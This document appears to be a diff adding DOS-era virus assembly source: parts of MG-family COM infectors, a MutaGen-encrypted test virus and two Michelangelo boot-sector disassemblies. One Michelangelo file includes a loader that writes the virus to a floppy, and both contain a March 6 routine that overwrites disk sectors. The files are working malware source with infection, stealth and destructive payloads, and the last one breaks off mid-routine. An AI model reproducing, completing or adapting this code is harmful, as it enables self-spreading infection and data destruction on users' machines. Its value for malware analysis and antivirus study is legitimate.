int 0ffh
push ax
if36: cmp ch,36h ; -free bytes
je beg_36
if4e: cmp ch,4eh ; -find first FM
je beg_4b
if4b: cmp ch,4bh ; -exec
je beg_4b
if47: cmp ch,47h ; -directory info
jne if5b
cmp al,2
jae begin ; it's hard-disk
if5b: cmp ch,5bh ; -create new
je beg_4b
if3c_3d: shr ch,1 ; > -open & create
cmp ch,1eh ; -
je beg_4b
jmp rest
beg_4b: mov ax,121ah
xchg dx,si
int 2fh
xchg ax,dx
xchg ax,si
beg_36: mov ah,0eh ; change current drive
dec dx ;
int 0ffh ;
begin:
push es ; save DTA address
push bx ;
sub sp,44
mov dx,sp ; change DTA
push sp
mov ah,1ah
push ss
pop ds
int 0ffh
mov bx,dx
push cs
pop ds
mov ah,04eh
mov dx,offset file
mov cx,3 ; r/o , hidden
int 0ffh ; int 21h
jc lst
next: test ss:[bx+21],byte ptr 80h
jz true
nxt: mov ah,4fh ; find next
int 0ffh
jnc next
lst: jmp last
true: cmp ss:[bx+27],byte ptr 0fdh
ja nxt
mov [144],offset i24pr
mov [146],cs
les ax,[4ch] ; int 13h
mov i13adr,ax
mov i13adr+2,es
jmp short $
beg: mov [4ch],offset i13pr
mov [4eh],cs
;
not3_3: push ss
pop ds
push [bx+22] ; time +
push [bx+24] ; date +
push [bx+21] ; attrib +
lea dx,[bx+30] ; ds : dx = offset file name
mov ax,4301h ; Change attrib !!!
pop cx
and cx,0feh ; clear r/o and CH
or cl,0c0h ; set Infect. attr
int 0ffh
mov ax,03d02h ; open
int 0ffh ; int 21h
xchg ax,bx
push cs
pop ds
mov ah,03fh
mov cx,3
mov dx,offset first
int 0ffh
mov ax,04202h ; move fp to EOF
xor dx,dx
mov cx,dx
int 0ffh
mov word ptr cal_ofs+1,ax
mov ah,040h
mov cx,len
mov dx,ofs
int 0ffh
jc not_inf
mov ax,04200h
xor dx,dx
mov cx,dx
int 0ffh
mov ah,040h
mov cx,3
mov dx,offset cal_ofs
int 0ffh
not_inf: mov ax,05701h
pop dx ; date
pop cx ; time
int 0ffh
mov ah,03eh ; close
int 0ffh
les ax,dword ptr i13adr
mov [4ch],ax ; int 13h
mov [4eh],es
last: add sp,46
pop dx
pop ds ; restore DTA
mov ah,1ah
int 0ffh
rest: pop dx ; restore current drive
mov ah,0eh ;
int 0ffh ;
pop es
pop bx
pop cx
pop ds
pop dx
pop ax
i21cl: iret ; Return from INT FC
i24pr: mov al,3 ; Critical errors
iret
i13pr: cmp ah,3
jne no
inc byte ptr cs:activ
dec ah
no: jmp dword ptr cs:i13adr
pr7b4: db 2eh,0d0h,2eh
dw offset activ
; shr cs:activ,1
jnc ex7b0
inc ah
ex7b0: jmp dword ptr cs:[7b0h]
;--------
file: db "*",32,".COM"
activ: db 0
dw offset i21pr ; int 0fch
dw 0
cal_ofs: db 0e8h
end:
dw ? ; cal_ofs
i13adr: dw ?
dw ?
; The End.---
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+338
View File
@@ -0,0 +1,338 @@
page ,132
;
; name: mg-3.vom
;
; program type: com/bin
;
; cpu type: 8086
;
; program loaded at 0000:01f8
;
; physical eof at 0000:03f5
;
; program entry point at 0000:01f8
;
fun segment
assume cs:fun,ds:fun,es:fun,ss:fun
;
; references before the start of code space
;
org 0006h
h_0006 label word
org 004ch
h_004c label word
org 004eh
h_004e label word
org 0090h
h_0090 label word
org 0092h
h_0092 label word
;
; data references to code space addresses
;
; org 0339h
;h_0339 label byte
;
; start of program
;
org 01f8h
h_01f8:
call h_0204 ;goto virus
nop
mov ax,4c00h
int 21h ;terminate program
;
h_0201 db 0ebh,02h,90h ;saved_prog_start
h_0204:
xchg ax,dx ;save ax
pop di ;get return address
dec di ;back by 2
dec di ;to CALL ofs
mov si,[di] ;get call ofs
dec di ;back 1 to start of program
add si,di ;call ofs plus prog start
;= saved_prog_start
push cs ;save cs
push di ;and di for program start
cld ;up!
movsw ;replace 1st word
movsb ;and 3rd byte of program
mov ax,4b04h ;fn = virus ID
int 21h ;call DOS
jae h_027f ;OK (installed), skip this
xor ax,ax ;get a 0
mov es,ax ;address INT seg
mov di,0204h ;es:di = new virus home
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
repz movsb ;copy virus to low mem
les di,[0006h] ;get seg:ofs of CPMtype doscall
mov al,0eah ;JMPF instruction
dec cx ;cx = 0FFFFh
repnz scasb ;find JMPF
les di,es:[di] ;get seg:ofs to DOS
sub di,-21h ;up to ??
jmp 0000h:0239h ;goto virus in low memory
h_0239:
push es ;DOS seg
pop ds ;to ds
mov si,[di-04h] ;get ptr to max_dos_fn
lodsb ;get that byte
cmp al,68h ;at least 68?
mov [di-03h],al ;set immediate compare value
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
push cs ;current segment
pop ds ;to ds
mov [03fch],di ;set INT FF ofs to DOS entry
mov [03feh],es ;and INT FF seg to DOS entry
;BUG: need to have INT FF point to the
; CMP AH,xx instruction they
; have set up!!!
mov byte ptr [h_0339],0ah ;set dosver_skip
jnae h_026e ;not DOS 3.3+, skip this
mov byte ptr [h_0339],00h ;reset dosver_skip
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
mov [h_07b6],cs ;and seg of saved INT 13 vector
;in IBMBIO.COM
;NOTE: How stable are these locations?!?!?!
h_026e:
mov al,0a9h ;TEST AX,xxxx instruction
h_0270:
repnz scasb ;find it
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
;NOTE: test for illegal flag values
jnz h_0270 ;no, try again
mov al,18h ;new immediate value: 0FF18h
;NOTE: remove "our" flag from illegal values
stosb ;modify test instr
push ss ;copy PSP seg
pop ds ;to ds
push ss ;and again
pop es ;to es
h_027f:
xchg ax,dx ;get original AX back
retf ;and execute infected program
;
; intfchere
;
h_0281:
push ax ;save regs
push dx
push ds
push cx
push bx
push es
cmp ax,4b04h ;fn = virus ID?
jz h_02ad ;yes, cleanup and exit NC
xchg ax,cx ;save ax
mov ah,2fh ;fn = get DTA
int 0ffh ;call DOS
cmp ch,11h ;fn = FCB find first?
jz h_029b ;yes, stop here
cmp ch,12h ;fn = FCB find next?
jnz h_02b4 ;no, skip this
h_029b:
xchg ax,cx ;get fn back
int 0ffh ;call to DOS
push ax ;save return code
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
jz h_02ac ;not set, skip this
sub word ptr es:[bx+24h],offset h_03f5-h_0201
;update filesize to hide virus (01f4h)
h_02ac:
pop ax ;restore regs
h_02ad:
pop es
pop bx
pop cx
add sp,+0ch ;cleanup stack
iret ;and return to caller
;BUG: Should preserve returned flags!
h_02b4:
mov ah,19h ;fn = get current disk
int 0ffh ;call to DOS
push ax ;save disk
cmp ch,36h ;fn = get disk free space?
jz h_02e9 ;yes, stop here
cmp ch,4eh ;fn = find first?
jz h_02e0 ;yes, stop here
cmp ch,4bh ;fn = load/execute?
jz h_02e0 ;yes, stop here
cmp ch,47h ;fn = get current dir?
jnz h_02d1 ;no, skip this
cmp al,02h ;drive >= C:?
jae h_02ee ;yes, stop here
h_02d1:
cmp ch,5bh ;fn = create new file?
jz h_02e0 ;yes, stop here
shr ch,1 ;fn / 2
cmp ch,1eh ;fn = 3C or 3D?
;create file or open file?
jz h_02e0 ;yes, stop here
jmp h_03bb ;else continue DOS call
h_02e0:
mov ax,121ah ;fn = get file's drive
xchg si,dx ;ds:si = filename
int 2fh ;multiplex interrupt
xchg ax,dx ;ax = old si, dx = drive
xchg ax,si ;old si to si
h_02e9:
mov ah,0eh ;fn = set current disk
dec dx ;drive A: = 0, B: = 2, etc
int 0ffh ;call to DOS
h_02ee:
push es ;save dta seg
push bx ;and dta ofs
sub sp,+2ch ;allocate locals
mov dx,sp ;get ptr to local DTA
push sp ;save ptr to local DTA
mov ah,1ah ;fn = set DTA
push ss ;stack segment
pop ds ;is DTA seg
int 0ffh ;call to DOS
mov bx,dx ;bx = ptr to DTA
push cs ;current segment
pop ds ;to ds
mov ah,4eh ;fn = find first matching file
mov dx,offset h_03e9 ;ds:dx = wildcard_com
mov cx,0003h ;attributes = HIDDEN, Read-Only
int 0ffh ;call to DOS
jnae h_0319 ;error, cleanup and exit
h_030c:
test byte ptr ss:[bx+15h],80h ;our attribute set?
jz h_031c ;no, continue
;BUG: If it will re-infect a file with the
; MG-2 attribute set, then the above
; size change mask will FAIL!
h_0313:
mov ah,4fh ;fn = find next matching file
int 0ffh ;call to DOS
jae h_030c ;OK, check out this file
h_0319:
jmp h_03b2 ;cleanup and exit
h_031c:
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
ja h_0313 ;yes, try next file
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
mov [0092h],cs ;and INT24HERE seg
;NOTE: The original values are NOT saved!
les ax,[004ch] ;get INT 13 vector
mov [h_03f7],ax ;save oldint13ofs
mov [h_03f9],es ;and oldint13seg
h_0339 equ $+1 ;dosver_skip
jmp short h_033a ;if not DOS 3.3+, skip this
h_033a:
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
mov [004eh],cs ;and new INT 13 seg, too
;
; dosver_skip comes here
;
push ss ;DTA seg
pop ds ;to ds
push word ptr [bx+16h] ;save file time
push word ptr [bx+18h] ;and file date
push word ptr [bx+15h] ;and file attributes
lea dx,[bx+1eh] ;ds:dx = name found in DTA
mov ax,4301h ;fn = set file attributes
pop cx ;get file attributes
and cx,00feh ;high byte, R/O bit off
or cl,0c0h ;set our attributes
int 0ffh ;call to DOS
mov ax,3d02h ;fn = open file for read/write
int 0ffh ;call to DOS
xchg ax,bx ;handle to bx
push cs ;current segment
pop ds ;to ds
mov ah,3fh ;fn = read file
mov cx,0003h ;size of saved_prog_start
mov dx,offset h_0201 ;ds:dx = saved_prog_start
int 0ffh ;call to DOS
mov ax,4202h ;fn = lseek to EOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov [h_03f5],ax ;save virus_call_ofs
mov ah,40h ;fn = write to file
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
mov dx,offset h_0201 ;ds:dx = this virus
int 0ffh ;call to DOS
jnae h_039c ;error, cleanup and quit
mov ax,4200h ;fn = lseek to BOF+CX:DX
xor dx,dx ;cx:dx = 0
mov cx,dx
int 0ffh ;call to DOS
mov ah,40h ;fn = write to file
mov cx,0003h ;size of virus_call
mov dx,offset h_03f4 ;ds:dx = virus_call
int 0ffh ;call to DOS
h_039c:
mov ax,5701h ;fn = set file time/date
pop dx ;restore file date
pop cx ;and file time
int 0ffh ;call to DOS
mov ah,3eh ;fn = close file
int 0ffh ;call to DOS
les ax,[h_03f7] ;get oldint13
mov [004ch],ax ;restore INT 13 ofs
mov [004eh],es ;and INT 13 seg
h_03b2:
add sp,+2eh ;clean stuff off stack
pop dx ;restore old DTA ofs
pop ds ;and old DTA seg
mov ah,1ah ;fn = set DTA
int 0ffh ;call to DOS
h_03bb:
pop dx ;get default drive back
mov ah,0eh ;fn = set current drive
int 0ffh ;call to DOS
pop es ;restore regs
pop bx
pop cx
pop ds
pop dx
pop ax
iret ;continue INT 21
;
; int24here
;
h_03c7:
mov al,03h ;response = FAIL
iret ;and done
;
; int13here_2
;
h_03ca:
cmp ah,03h ;fn = write?
jnz h_03d6 ;no, skip this
inc byte ptr cs:[h_03ef] ;update ??
dec ah ;change function to read
h_03d6:
jmp dword ptr cs:[h_03f7] ;and continue INT 13
;
; int13here
;
h_03db:
shr byte ptr cs:[h_03ef],1 ;update ??
jae h_03e4 ;yes, skip this
inc ah ;change function
;i.e. read changes to write, etc!
h_03e4:
jmp dword ptr cs:[h_07b0] ;continue INT 13
;
h_03e9 db "* .COM" ;wildcard_com
h_03ef db 00h
;NOTE: location of following data CANNOT change!
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
h_03f4 db 0e8h ;virus_call
h_03f5 equ $
;
; references after the end of code space
;
org 03f5h
h_03f5 label word ;virus_call_ofs
org 03f7h
h_03f7 label word ;oldint13ofs
org 03f9h
h_03f9 label word ;oldint13seg
fun ends
end h_01f8
+174
View File
@@ -0,0 +1,174 @@
; MutaGenic Agent - MutaGen Test Virus
; by MnemoniX 1994
;
; This is an ordinary run-of-the-mill virus that infects a .COM file in
; the current directory on run and uses MutaGen to encrypt itself.
MGEN_SIZE equ 1032 ; size of MutaGen
ID equ 'MG' ; ID word
MAX_INFECTIONS equ 2 ; infections per run
extrn _MUTAGEN:near ; call MutaGen
code segment byte public 'code'
org 100h
assume cs:code,ds:code,es:code,ss:code
start:
db 0E9h,03h,00h ; jmp virus_begin
dw ID
host:
db 0CDh,020h,00
virus_begin:
call $+3 ; BP serves as pointer
pop bp
sub bp,offset $-1
mov byte ptr [bp+offset infect],0 ; clear infection flag
mov ah,2Fh ; get original DTA address
int 21h ; and save it
push bx
lea dx,[bp+END_MGEN] ; set our DTA to the end of the
mov ah,1Ah ; virus code
int 21h
call infect_search ; infection routine ...
pop dx ; ... and we're done
mov ah,1Ah
int 21h
mov di,100h ; enter in original five bytes of host
push di ; save DI as host address
lea si,[bp+offset prog_len] ; get address of original host header
mov si,[si] ; found at end of host program
add si,100h
movsb ; move five bytes
movsw
movsw
ret ; and call host
infect_search proc near
mov ah,4Eh ; search for first .COM file
lea dx,[bp+com_file] ; in directory
xor cx,cx
int 21h
jnc infect_file ; none present, leave
jmp inf_complete
infect_file:
mov ax,3D02h ; .COM file found, open
lea dx,[bp+END_MGEN+1Eh]
int 21h
mov bx,ax ; file handle in BX
mov ax,5700h ; get file date and time
int 21h ; and save it
push cx
push dx
lea dx,[bp+orig_header] ; now read in first five bytes
mov cx,5 ; of the file
mov ah,3Fh
int 21h
mov ax,4202h ; no, infect this file
call move_pointer ; (this call is to save bytes)
cmp ax,64000
jae infected ; file is too big, skip it
cmp [bp+offset orig_header+3],ID
je infected ; if previously infected, skip it
lea si,[bp+offset new_jump+1]
push [bp+offset prog_len] ; save original program length
mov [bp+offset prog_len],ax ; store this program length
add ax,2
mov [si],ax
lea dx,[bp+offset orig_header] ; store first five bytes of file
mov cx,5 ; at end of file
mov ah,40h
int 21h
; MutaGen calling routine
push bx
push bp
mov dx,[si] ; MutaGen offset calculation
add dx,103h
mov cx,VIRUS_SIZE ; write VIRUS_SIZE bytes
lea di,[bp+END_MGEN+80h] ; store at end of virus
lea si,[bp+offset virus_begin]
call _MUTAGEN
pop bp
pop bx
lea dx,[bp+offset END_MGEN+80h] ; write encrypted code
mov ah,40h ; to file
int 21h
pop [bp+offset prog_len] ; restore original program length
mov ax,4200h ; lastly, add our new jump instruction
call move_pointer ; to the beginning of the file
lea dx,[bp+offset new_jump]
mov cx,5 ; write five bytes to file
mov ah,40h
int 21h
inc byte ptr [bp+offset infect] ; set infection flag
infected:
pop dx ; restore time and date
pop cx
mov ax,5701h
int 21h
mov ah,3Eh ; close file
int 21h
cmp byte ptr [bp+offset infect],1 ; did an infection occur?
je inf_complete ; yes, go
mov ah,4Fh ; find another file
int 21h ; and repeat
jc inf_complete ; none found, quit
jmp infect_file
inf_complete:
ret
move_pointer:
xor cx,cx ; i'm being really stingy with space
xor dx,dx ; here ...
int 21h
ret
endp
com_file db '*.COM',0 ; .COM file
orig_header db 5 dup(0) ; first three bytes of program
new_jump db 0E9h,00,00 ; new jump instruction
dw ID ; ID signature
prog_len dw 3 ; length of file for return sequence
infect db 0
sig db '[MutaGenic Agent]',0
virus_end:
END_MGEN equ virus_end + MGEN_SIZE
VIRUS_SIZE equ virus_end - virus_begin + MGEN_SIZE
code ends
end start
+234
View File
@@ -0,0 +1,234 @@
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
+386
View File
@@ -0,0 +1,386 @@
;virus date 12/31/93
;disassembly of 1 version of the MICHElANGLO VIRUS
;michelangelo with a loader that will put the virus
;on a disk in drive b: will work correctly on 360 or 1.2meg disks
;loads orginal boot at last sector on those type of disks
;warning if computer date is march 6 on boot up with virus it will
;try to infect hard drive then write system info on
;to disks destroying the information on disk
;
;
;to load virus onto A drive alter the equ disk_dr to 00
int13_IP EQU 0004CH ;interrupt 13H location
int13_CS EQU 0004EH
MICHA SEGMENT BYTE
ASSUME CS:MICHA, DS:MICHA, ES:MICHA, SS:MICHA
;*****************************************************************************
;loader program
disk_dr equ 01 ;01 disk b 00 disk a
ORG 100H
START: MOV DL,DISK_DR
XOR SI,SI
XOR AX,AX ; RESET DRIVE
INT 13H
INC SI
AGAIN:
MOV AX,201H ;READ BOOT INTO BUFFER
MOV BX,OFFSET BUFF
MOV CX,01
MOV Dh,00
mov dl,disk_dr
INT 13H
JNC ALRIGHT
CMP SI,4
JA ERROR_WRITE
xor ax,ax
int 13h
JMP AGAIN
ALRIGHT:
MOV AX,301H ; WRITE BOOT TO
MOV Dh,01 ; LAST SECTOR OF
MOV CL,03 ; DIR
mov dl,disk_dr ; WHICH DISK
CMP BYTE PTR [BX+15H],0FDH ; TYPE OF DISK HIGH LOW
JZ LOW_DENSW ;
MOV CL,0EH
LOW_DENSW:
MOV [LOC_ORG_BOOT],CX ; SETUP VIRUS FOR TYPE
INT 13H ; DISK DRIVE
XOR AX,AX ; RESET DRIVE
INT 13H
MOV AX,0301H ;WRITE VIRUS
MOV BX,OFFSET M_START ; TO BOOT SECTOR
mov cx,01
mov Dh,00
mov dl,disk_dr
INT 13H
JNC FINI
ERROR_WRITE: MOV AH,9
MOV DX,OFFSET ERROR_MESS
INT 21H
FINI:
INT 20H ;EXIT
ERROR_MESS DB 'SORRY THERE IS A PROBLEM CHECK DRIVE DOOR'
DB 'OR TRY ANOTHER DISK',24H
BUFF DB 200H DUP (90) ;BUFFER FOR R/W OF DISK
;*************************************************************************
ORG 0413H
MEM_SIZE DW ? ;memory size in kilobytes
ORG 043FH
MOTOR_STATUS DB ? ;floppy disk motor status
;*************************************************************************
ORG 7C00H
M_START:
JMP START1
JMP_HI_MEM DW OFFSET HI_MEM - 7C00H
HIGH_SEG DW 0
DESTROY_CNT DB 02
LOC_ORG_BOOT DW 000EH ;HIGH DENS
OLD_INT13_IP DW 0
OLD_INT13_CS DW 0
VIR_INT13:
PUSH DS ; SAVE REGS
PUSH AX ;
OR DL,DL ; IS IT DISK DRIVE A
JNZ BIOS_INT13 ; NO
XOR AX,AX ;CHECK MOTOR STATUS
MOV DS,AX ; IS MOTOR RUNNING
TEST BYTE PTR DS:[MOTOR_STATUS],01 ;
JNZ BIOS_INT13 ; YES
POP AX ; LET
POP DS ; THE INT CALL
PUSHF ; GO BUT RETURN
CALL DWORD PTR CS:[OLD_INT13_IP - 7C00H] ; TO THE VIRUS
PUSHF ; ON RETURN
CALL INFECT_FLOPPY ; ATTEMPT INFECT
POPF ;ATTEMPTED INFECT RETURN
RETF 2 ;TO ORGINAL INT CALLER
BIOS_INT13:
POP AX ;LET BIOS HANDLE
POP DS ;THE CALL
JMP DWORD PTR CS:[OLD_INT13_IP - 7C00H] ;
INFECT_FLOPPY:
PUSH AX BX CX DX DS ES SI DI
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,04 ;RETRY COUNTER
READ_LP:
MOV AX,201H ; SETUP TO READ BOOT SECTOR
MOV BX,0200H ; TO END OF VIRUS
MOV CX,01 ;
XOR DX,DX ;
PUSHF ;FAKE A INT 13 CALL
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ;
JNB NO_ERROR ;
TRY_AGAIN: ; IF ERROR
XOR AX,AX ; RESET DRIVE
PUSHF ; AND TRY AGAIN FOR
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; COUNT OF 4
DEC SI ; USING SI
JNZ READ_LP ;
JMP SHORT ERROR_EXIT ;PROBALY WRITE PROTECT
;GET OUT
NO_ERROR:
XOR SI,SI
CHK_FOR_INFECTION:
CLD ; CHECK FIRST 2 BYTES
LODSW ; TO VIRUS
CMP AX,[BX] ;
JNZ NOT_INFECTED_A ; NOT MATCH GO INFECT
LODSW ; TRY NEXT 2 BYTES
CMP AX,[BX+2] ;
JZ ERROR_EXIT ; MATCH LEAVE
NOT_INFECTED_A:
MOV AX,301H ; WRITE THE ORGINAL
MOV DH,01 ; BOOT TO THE NEW
MOV CL,03 ; LOCATION FIND
CMP BYTE PTR [BX+15H],0FDH ; NEW LOCATION
JZ LOW_DENS ; BY CHECKING IF 360
MOV CL,0EH ; OR 1.2
LOW_DENS:
MOV [LOC_ORG_BOOT - 7C00H],CX ;SAVE NEW LOCATION
PUSHF ; CALL TO
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; INT 13
JB ERROR_EXIT
UPDATE_END:
MOV SI,3BEH ; COPY LAST
MOV DI,1BEH ; 21 BYTES FROM
MOV CX,21H ; ORGINAL BOOT
CLD ; SECTOR
REPZ MOVSW ; TO VIRUS
MOV AX,0301H ; WRITE VIRUS
XOR BX,BX ; TO BOOT SECTOR
MOV CX,01 ; SECTOR 1
XOR DX,DX ; DRIVE A HEAD A
PUSHF ;INT 13
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ;
ERROR_EXIT:
POP DI SI ES DS DX CX BX AX ; RESTORE REGS
RET ; LEAVE
START1:
XOR AX,AX ;WHERE WE JUMP TO
MOV DS,AX ;AT BOOT UP TIME
CLI ;SET UP STACK
MOV SS,AX ;
MOV AX,7C00H ;
MOV SP,AX ;
STI ;
PUSH DS ; SET UP FOR RETF
PUSH AX ; LATER
MOV AX,DS:[INT13_IP] ;SAVE OLD INT 13
mov [OLD_INT13_IP],AX ;VECTORS
MOV AX,DS:[INT13_CS] ;
MOV [OLD_INT13_CS],AX ;
MOV AX,DS:[MEM_SIZE] ;DEC MEMORY SIZE
DEC AX ;
DEC AX ;
MOV DS:[MEM_SIZE],AX ;
MOV CL,06H ;CONVERT SIZE TO
SHL AX,CL ;SEGMENT ADDRESS
MOV ES,AX ;
MOV [HIGH_SEG],AX ;SAVE ADDRESS
MOV AX, OFFSET VIR_INT13 - 7C00H ; SET UP INT 13 TO
MOV DS:[INT13_IP],AX ; POINT TO US
MOV DS:[INT13_CS],ES ;
MOV CX,1BEH ;OFFSET END_VIR - OFFSET M_START
MOV SI,7C00H ;COPY VIRAL CODE UP IN MEMORY
XOR DI,DI ;
CLD ;
REPZ MOVSB ;
JMP DWORD PTR CS:[JMP_HI_MEM] ;GO THERE
HI_MEM:
XOR AX,AX ; RESET DRIVE
MOV ES,AX ; SET UP ES SEGMENT TO 0
INT 13H ;
PUSH CS ;DS POINTS HERE
POP DS ;
MOV AX,0201H ;READ ORGINAL BOOT
MOV BX,7C00H ;
MOV CX,[LOC_ORG_BOOT - 7C00H] ;
CMP CX,0007H ;
JNZ FLOPPY
H_DRIVE:
MOV DX,0080H ; READ ORGINAL
INT 13H ; BOOT FROM HARD DRIVE
JMP SHORT GET_DATE ; CHECK DATE
FLOPPY:
MOV CX,[LOC_ORG_BOOT - 7C00H] ;READ ORGINAL
MOV DX,100H ;BOOT FROM FLOPPY
INT 13H ;
JB GET_DATE ; IF ERROR CHECK DATE
PUSH CS
POP ES
HD_INFECT:
MOV AX,0201H ;READ 1 SECTOR
mov bx,0200h ;TO BUFFER
mov cx,0001h ;SECTOR 1
MOV DX,0080H ;HEAD 0 DISK C:
INT 13H
JB GET_DATE ;IF ERROR
CHK_BOOT:
XOR SI,SI
CLD
LODSW
CMP AX,[BX]
JNE NOT_INFECTED
LODSW
CMP AX,[BX+2]
JNE NOT_INFECTED
GET_DATE:
XOR CX,CX ;GET DATE
MOV AH,04 ;
INT 1AH ;
CMP DX,0306H ;IS IT MARCH 6
JZ TRASH_DISK ;
RETF ;BIOS_BOOT
;******************************************************************
; TRASH DISK ROUTTINE SIMPLY WRITE MEMORY DATA FROM
; 5000:5000 TO THE DISKS FIRST 9 SECTORS UNTIL AN ERROR HITS IT
;
TRASH_DISK:
XOR DX,DX
MOV CX,1
D_LOOP:
MOV AX,0309H ;WRITE DISK 9 SECTORS
MOV SI,[LOC_ORG_BOOT - 7C00H]
CMP SI,+03
JE FLPPY_DISK
